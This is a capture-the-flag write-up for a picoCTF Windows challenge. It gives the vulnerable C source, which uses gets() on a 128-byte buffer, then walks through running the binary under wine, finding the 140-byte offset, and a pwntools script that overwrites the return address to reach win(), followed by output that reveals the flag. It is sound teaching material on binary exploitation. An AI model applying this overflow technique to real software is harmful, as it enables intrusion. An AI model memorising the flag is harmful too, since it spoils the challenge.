A 32 bit PE(exe) file is given.
file vuln.exe
vuln.exe: PE32 executable (console) Intel 80386, for MS Windows, 15 sections
They also provide you the source code as well.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
void win(){
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("flag.txt not found in current directory.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
void vuln()
{
printf("Give me a string!\n");
char buf[128];
gets(buf);
}
int main(int argc, char **argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
Running checksec on an EXE file won’t work because checksec only works for ELFs.
checksec vuln.exe
Traceback (most recent call last):
File "/home/hwkim301/venv/bin/checksec", line 8, in <module>
sys.exit(main())
^^^^^^
File "/home/hwkim301/venv/lib/python3.12/site-packages/pwnlib/commandline/common.py", line 34, in main
entrypoint({name: command_main})
File "/home/hwkim301/venv/lib/python3.12/site-packages/pwnlib/commandline/common.py", line 42, in entrypoint
commands[args.command](args)
File "/home/hwkim301/venv/lib/python3.12/site-packages/pwnlib/commandline/checksec.py", line 38, in main
e = ELF(f.name)
^^^^^^^^^^^
File "/home/hwkim301/venv/lib/python3.12/site-packages/pwnlib/elf/elf.py", line 225, in __init__
super(ELF,self).__init__(self.mmap)
File "/home/hwkim301/venv/lib/python3.12/site-packages/elftools/elf/elffile.py", line 73, in __init__
self._identify_file()
File "/home/hwkim301/venv/lib/python3.12/site-packages/elftools/elf/elffile.py", line 631, in _identify_file
elf_assert(magic == b'\x7fELF', 'Magic number does not match')
File "/home/hwkim301/venv/lib/python3.12/site-packages/elftools/common/utils.py", line 80, in elf_assert
_assert_with_exception(cond, msg, ELFError)
File "/home/hwkim301/venv/lib/python3.12/site-packages/elftools/common/utils.py", line 143, in _assert_with_exception
raise exception_type(msg)
elftools.common.exceptions.ELFError: Magic number does not match
To check security features on a PE file you can install checksec from pip.
pip install checksec-py
# https://pypi.org/project/checksec-py/
# https://github.com/Wenzel/checksec.py
It will highly overwrite the default checksec.sh, so I recommend changing the name from checksec.py to checksec-pe
or something else.
mv /home/hwkim301/venv/bin/checksec /home/hwkim301/venv/bin/checksec-pe
There doesn’t seem to be any security features enabled as far as I know.

Almost 99% of binary exploitation challenges are ELF files and to run ELF files you need a Linux machine.
However, this challenge is a Windows challenge. Does that mean that you need to own a Windows machine?
No, that’s not how it works at least for pwn. There’s a program called wine.
wine stands for Wine Is Not an Emulator, wine allows you to run EXE files on a Linux machine. https://en.wikipedia.org/wiki/Wine_(software)
You can install it with apt.
sudo apt-get install wine
Pass the EXE file to wine and you can execute the EXE file.
wine vuln.exe
Give me a string!
hwkim301
If you use wsl2, wsl2 allows you to execute the EXE file natively how clever of wsl.
./vuln.exe
Give me a string!
hwkim301
Since I couldn’t find the offset to the return address, I loaded the EXE file to IDA.
int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // eax
__main();
v3 = ___acrt_iob_func(1u);
setvbuf(v3, 0, 4, 0);
vuln();
return 0;
}
IDA does a great job showing the offset from ebp to the array it’s 0x88 bytes.
int vuln()
{
_BYTE v1[136]; // [esp+10h] [ebp-88h] BYREF
puts("Give me a string!");
return gets(v1);
}
We know that the return address is at ebp+4 bytes if there is a frame pointer(ebp).
So the offset from ebp to the buffer is (0x88+4) 140 bytes.
I normally write my buffer overflow scripts like this using pwntools, well usually I use the elf.symbols dictionary to grab the addresses of the functions but since this isn’t an ELF file it we can’t do that.
You need to find the address of the win function manually, although this isn’t that hard.
Using objdump and piping it to grep will do the job.
objdump -d -M intel vuln.exe | grep win
00401530 <_win>:
401551: 75 18 jne 40156b <_win+0x3b>
As you can see the address of win is at 0x401530.
Passing the return addressing after filling the offset from ebp to the buffer will get you the flag.
Here’s the exploit code.
from pwn import *
r = remote('saturn.picoctf.net', 49461)
payload = b'A' * 140
payload += p32(0x401530)
r.send(payload)
r.interactive()
python solve.py
[+] Opening connection to saturn.picoctf.net on port 49461: Done
[*] Switching to interactive mode
Give me a string!
$ ls
picoCTF{Un_v3rr3_d3_v1n_acb1d0f4}
Unhandled exception: page fault on read access to 0x7f00736c in 32-bit code (0x7f00736c).
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
EIP:7f00736c ESP:0064fe84 EBP:41414141 EFLAGS:00010206( R- -- I - -P- )
EAX:00000000 EBX:00230e78 ECX:0064fe14 EDX:7fec48f4
ESI:00000005 EDI:0021d6c0
Stack dump:
0x0064fe84: 00000000 00000004 00000000 7b432ecc
0x0064fe94: 00230e78 0064ff28 00401386 00000002
0x0064fea4: 00230e70 006d0da0 7bcc4625 00000004
0x0064feb4: 00000008 00230e70 0021d6c0 002cee32
0x0064fec4: 0b823372 00000000 00000000 00000000
0x0064fed4: 00000000 00000000 00000000 00000000
Backtrace:
=>0 0x7f00736c (0x41414141)
0x7f00736c: -- no code accessible --
Modules:
Module Address Debug info Name (5 modules)
PE 400000- 44b000 Deferred vuln
PE 7b020000-7b023000 Deferred kernelbase
PE 7b420000-7b5db000 Deferred kernel32
PE 7bc30000-7bc34000 Deferred ntdll
PE 7fe10000-7fe14000 Deferred msvcrt
Threads:
process tid prio (all id:s are in hex)
00000008 (D) Z:\challenge\vuln.exe
00000009 0 <==
0000000c services.exe
0000000e 0
0000000d 0
00000012 explorer.exe
00000013 0
System information:
Wine build: wine-5.0 (Ubuntu 5.0-3ubuntu1)
Platform: i386
Version: Windows Server 2008 R2
Host system: Linux
Host version: 6.8.0-1041-aws
[*] Got EOF while reading in interactive
I think the goal of this challenge is to get used to running Windows EXE files on Linux using wine.
That’s probably the reason why the challenge name is wine, other than that it’s exactly the same buffer overflow problem.